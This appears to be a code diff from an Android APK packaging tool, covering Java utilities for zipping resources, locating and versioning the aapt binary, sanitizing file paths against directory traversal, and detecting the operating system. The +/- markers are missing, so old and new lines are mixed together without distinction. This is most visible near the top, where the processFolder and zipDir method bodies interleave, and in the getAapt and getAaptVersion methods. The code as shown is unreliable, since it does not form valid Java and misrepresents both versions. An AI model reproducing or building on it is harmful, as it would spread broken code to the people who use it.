processFolder(assets, zipOutputStream, assets.getPath().length() - 6);
public static void zipDir(File baseDir, String dirName, ZipOutputStream out, Collection<String> doNotCompress)
throws IOException {
File dir;
if (dirName == null || dirName.isEmpty()) {
dir = baseDir;
} else {
dir = new File(baseDir, dirName);
}
if (!dir.isDirectory()) {
return;
}
}
private static void zipFolders(final File folder, final ZipOutputStream outputStream)
throws BrutException, IOException {
processFolder(folder, outputStream, folder.getPath().length() + 1);
}
for (File file : dir.listFiles()) {
String fileName = baseDir.toURI().relativize(file.toURI()).getPath();
private static void processFolder(final File folder, final ZipOutputStream zipOutputStream, final int prefixLength)
throws BrutException, IOException {
for (final File file : folder.listFiles()) {
if (file.isFile()) {
final String cleanedPath = BrutIO.sanitizeFilepath(folder, file.getPath().substring(prefixLength));
final ZipEntry zipEntry = new ZipEntry(BrutIO.adaptSeparatorToUnix(cleanedPath));
// aapt binary by default takes in parameters via -0 arsc to list extensions that shouldn't be
// compressed. We will replicate that behavior
final String extension = FilenameUtils.getExtension(file.getAbsolutePath());
if (mDoNotCompress != null && (mDoNotCompress.contains(extension) || mDoNotCompress.contains(zipEntry.getName()))) {
zipEntry.setMethod(ZipEntry.STORED);
zipEntry.setSize(file.length());
BufferedInputStream unknownFile = new BufferedInputStream(Files.newInputStream(file.toPath()));
CRC32 crc = BrutIO.calculateCrc(unknownFile);
zipEntry.setCrc(crc.getValue());
unknownFile.close();
} else {
zipEntry.setMethod(ZipEntry.DEFLATED);
}
zipOutputStream.putNextEntry(zipEntry);
try (FileInputStream inputStream = new FileInputStream(file)) {
IOUtils.copy(inputStream, zipOutputStream);
}
zipOutputStream.closeEntry();
} else if (file.isDirectory()) {
processFolder(file, zipOutputStream, prefixLength);
if (file.isDirectory()) {
zipDir(baseDir, fileName, out, doNotCompress);
} else if (file.isFile()) {
zipFile(baseDir, fileName, out, doNotCompress != null && !doNotCompress.isEmpty()
? entryName -> doNotCompress.contains(entryName)
|| doNotCompress.contains(FilenameUtils.getExtension(entryName))
: entryName -> false);
}
}
}
public static void zipFile(File baseDir, String fileName, ZipOutputStream out, boolean doNotCompress)
throws IOException {
zipFile(baseDir, fileName, out, entryName -> doNotCompress);
}
private static void zipFile(File baseDir, String fileName, ZipOutputStream out, Predicate<String> doNotCompress)
throws IOException {
try {
String validFileName = BrutIO.sanitizePath(baseDir, fileName);
if (validFileName.isEmpty()) {
return;
}
File file = new File(baseDir, validFileName);
if (!file.isFile()) {
return;
}
String entryName = BrutIO.adaptSeparatorToUnix(validFileName);
ZipEntry zipEntry = new ZipEntry(entryName);
if (doNotCompress.test(entryName)) {
zipEntry.setMethod(ZipEntry.STORED);
zipEntry.setSize(file.length());
try (BufferedInputStream bis = new BufferedInputStream(Files.newInputStream(file.toPath()))) {
CRC32 crc = BrutIO.calculateCrc(bis);
zipEntry.setCrc(crc.getValue());
}
} else {
zipEntry.setMethod(ZipEntry.DEFLATED);
}
out.putNextEntry(zipEntry);
try (InputStream in = Files.newInputStream(file.toPath())) {
IOUtils.copy(in, out);
}
out.closeEntry();
} catch (RootUnknownFileException | InvalidUnknownFileException | TraversalUnknownFileException ex) {
LOGGER.warning(String.format("Skipping file %s (%s)", fileName, ex.getMessage()));
}
}
}

View File

@ -22,6 +22,8 @@ import java.util.ArrayList;
import java.util.List;
public class AaptManager {
public static final int AAPT_VERSION_MIN = 1;
public static final int AAPT_VERSION_MAX = 2;
public static File getAapt2() throws BrutException {
return getAapt(2);
@ -31,59 +33,71 @@ public class AaptManager {
return getAapt(1);
}
private static File getAapt(Integer version) throws BrutException {
File aaptBinary;
String aaptVersion = getAaptBinaryName(version);
private static File getAapt(int version) throws BrutException {
String aaptName = getAaptBinaryName(version);
if (! OSDetection.is64Bit() && OSDetection.isMacOSX()) {
throw new BrutException("32 bit OS detected. No 32 bit binaries available.");
if (!OSDetection.is64Bit() && OSDetection.isMacOSX()) {
throw new BrutException(aaptName + " binaries are not available for 32-bit platform: " + OSDetection.returnOS());
}
// Set the 64 bit flag
aaptVersion += OSDetection.is64Bit() ? "_64" : "";
try {
if (OSDetection.isMacOSX()) {
aaptBinary = Jar.getResourceAsFile("/prebuilt/macosx/" + aaptVersion, AaptManager.class);
} else if (OSDetection.isUnix()) {
aaptBinary = Jar.getResourceAsFile("/prebuilt/linux/" + aaptVersion, AaptManager.class);
} else if (OSDetection.isWindows()) {
aaptBinary = Jar.getResourceAsFile("/prebuilt/windows/" + aaptVersion + ".exe", AaptManager.class);
} else {
throw new BrutException("Could not identify platform: " + OSDetection.returnOS());
}
} catch (BrutException ex) {
throw new BrutException(ex);
}
if (aaptBinary.setExecutable(true)) {
return aaptBinary;
}
throw new BrutException("Can't set aapt binary as executable");
}
public static String getAaptExecutionCommand(String aaptPath, File aapt) throws BrutException {
if (! aaptPath.isEmpty()) {
File aaptFile = new File(aaptPath);
if (aaptFile.canRead() && aaptFile.exists()) {
//noinspection ResultOfMethodCallIgnored
aaptFile.setExecutable(true);
return aaptFile.getPath();
} else {
throw new BrutException("binary could not be read: " + aaptFile.getAbsolutePath());
}
StringBuilder aaptPath = new StringBuilder("/prebuilt/");
if (OSDetection.isUnix()) {
aaptPath.append("linux");
} else if (OSDetection.isMacOSX()) {
aaptPath.append("macosx");
} else if (OSDetection.isWindows()) {
aaptPath.append("windows");
} else {
return aapt.getAbsolutePath();
throw new BrutException("Could not identify platform: " + OSDetection.returnOS());
}
aaptPath.append("/");
aaptPath.append(aaptName);
if (OSDetection.is64Bit()) {
aaptPath.append("_64");
}
if (OSDetection.isWindows()) {
aaptPath.append(".exe");
}
File aaptBinary = Jar.getResourceAsFile(aaptPath.toString(), AaptManager.class);
if (!aaptBinary.setExecutable(true)) {
throw new BrutException("Can't set aapt binary as executable");
}
return aaptBinary;
}
public static String getAaptBinaryName(int version) {
switch (version) {
case 2:
return "aapt2";
default:
return "aapt";
}
}
public static int getAaptVersion(String aaptLocation) throws BrutException {
return getAaptVersion(new File(aaptLocation));
public static int getAaptVersion(String aaptPath) throws BrutException {
return getAaptVersion(new File(aaptPath));
}
public static String getAaptBinaryName(Integer version) {
return "aapt" + (version == 2 ? "2" : "");
public static int getAaptVersion(File aaptBinary) throws BrutException {
if (!aaptBinary.isFile() || !aaptBinary.canRead()) {
throw new BrutException("Can't read aapt binary: " + aaptBinary.getAbsolutePath());
}
if (!aaptBinary.setExecutable(true)) {
throw new BrutException("Can't set aapt binary as executable: " + aaptBinary.getAbsolutePath());
}
List<String> cmd = new ArrayList<>();
cmd.add(aaptBinary.getAbsolutePath());
cmd.add("version");
String version = OS.execAndReturn(cmd.toArray(new String[0]));
if (version == null) {
throw new BrutException("Could not execute aapt binary at location: " + aaptBinary.getAbsolutePath());
}
return getAppVersionFromString(version);
}
public static int getAppVersionFromString(String version) throws BrutException {
@ -98,23 +112,19 @@ public class AaptManager {
throw new BrutException("aapt version could not be identified: " + version);
}
public static int getAaptVersion(File aapt) throws BrutException {
if (!aapt.isFile()) {
throw new BrutException("Could not identify aapt binary as executable.");
}
//noinspection ResultOfMethodCallIgnored
aapt.setExecutable(true);
List<String> cmd = new ArrayList<>();
cmd.add(aapt.getAbsolutePath());
cmd.add("version");
String version = OS.execAndReturn(cmd.toArray(new String[0]));
if (version == null) {
throw new BrutException("Could not execute aapt binary at location: " + aapt.getAbsolutePath());
public static String getAaptExecutionCommand(String aaptPath, File aaptBinary) throws BrutException {
if (aaptPath.isEmpty()) {
return aaptBinary.getAbsolutePath();
}
return getAppVersionFromString(version);
aaptBinary = new File(aaptPath);
if (!aaptBinary.isFile() || !aaptBinary.canRead()) {
throw new BrutException("Can't read aapt binary: " + aaptBinary.getAbsolutePath());
}
if (!aaptBinary.setExecutable(true)) {
throw new BrutException("Can't set aapt binary as executable: " + aaptBinary.getAbsolutePath());
}
return aaptBinary.getPath();
}
}

View File

@ -24,13 +24,9 @@ import org.apache.commons.io.IOUtils;
import java.io.*;
import java.util.zip.CRC32;
import java.util.zip.ZipEntry;
import java.util.zip.ZipFile;
import java.util.zip.ZipOutputStream;
public class BrutIO {
public static void copyAndClose(InputStream in, OutputStream out)
throws IOException {
public static void copyAndClose(InputStream in, OutputStream out) throws IOException {
try {
IOUtils.copy(in, out);
} finally {
@ -68,23 +64,25 @@ public class BrutIO {
CRC32 crc = new CRC32();
int bytesRead;
byte[] buffer = new byte[8192];
while((bytesRead = input.read(buffer)) != -1) {
while ((bytesRead = input.read(buffer)) != -1) {
crc.update(buffer, 0, bytesRead);
}
return crc;
}
public static String sanitizeFilepath(final File directory, final String entry) throws IOException, BrutException {
if (entry.isEmpty()) {
public static String sanitizePath(File baseDir, String path)
throws InvalidUnknownFileException, RootUnknownFileException,
TraversalUnknownFileException, IOException {
if (path.isEmpty()) {
throw new InvalidUnknownFileException("Invalid Unknown File");
}
if (new File(entry).isAbsolute()) {
if (new File(path).isAbsolute()) {
throw new RootUnknownFileException("Absolute Unknown Files is not allowed");
}
final String canonicalDirPath = directory.getCanonicalPath() + File.separator;
final String canonicalEntryPath = new File(directory, entry).getCanonicalPath();
String canonicalDirPath = baseDir.getCanonicalPath() + File.separator;
String canonicalEntryPath = new File(baseDir, path).getCanonicalPath();
if (!canonicalEntryPath.startsWith(canonicalDirPath)) {
throw new TraversalUnknownFileException("Directory Traversal is not allowed");
@ -94,8 +92,11 @@ public class BrutIO {
return canonicalEntryPath.substring(canonicalDirPath.length());
}
public static boolean detectPossibleDirectoryTraversal(String entry) {
return entry.contains("../") || entry.contains("/..") || entry.contains("..\\") || entry.contains("\\..");
public static boolean detectPossibleDirectoryTraversal(String path) {
return path.contains("../")
|| path.contains("/..")
|| path.contains("..\\")
|| path.contains("\\..");
}
public static String adaptSeparatorToUnix(String path) {
@ -107,17 +108,4 @@ public class BrutIO {
return path;
}
public static void copy(File inputFile, ZipOutputStream outputFile) throws IOException {
try (FileInputStream fis = new FileInputStream(inputFile)) {
IOUtils.copy(fis, outputFile);
}
}
public static void copy(ZipFile inputFile, ZipOutputStream outputFile, ZipEntry entry) throws IOException {
try (InputStream is = inputFile.getInputStream(entry)) {
IOUtils.copy(is, outputFile);
}
}
}

View File

@ -126,7 +126,7 @@ public class OS {
System.err.println("Stream collector did not terminate.");
}
return collector.get();
} catch (IOException | InterruptedException e) {
} catch (IOException | InterruptedException ex) {
return null;
}
}
@ -149,8 +149,8 @@ public class OS {
static class StreamForwarder extends Thread {
StreamForwarder(InputStream is, String type) {
mIn = is;
StreamForwarder(InputStream in, String type) {
mIn = in;
mType = type;
}

View File

@ -39,7 +39,7 @@ public class OSDetection {
return arch != null && arch.endsWith("64") || wow64Arch != null && wow64Arch.endsWith("64");
}
return BIT.equalsIgnoreCase("64");
return BIT.equals("64");
}
public static String returnOS() {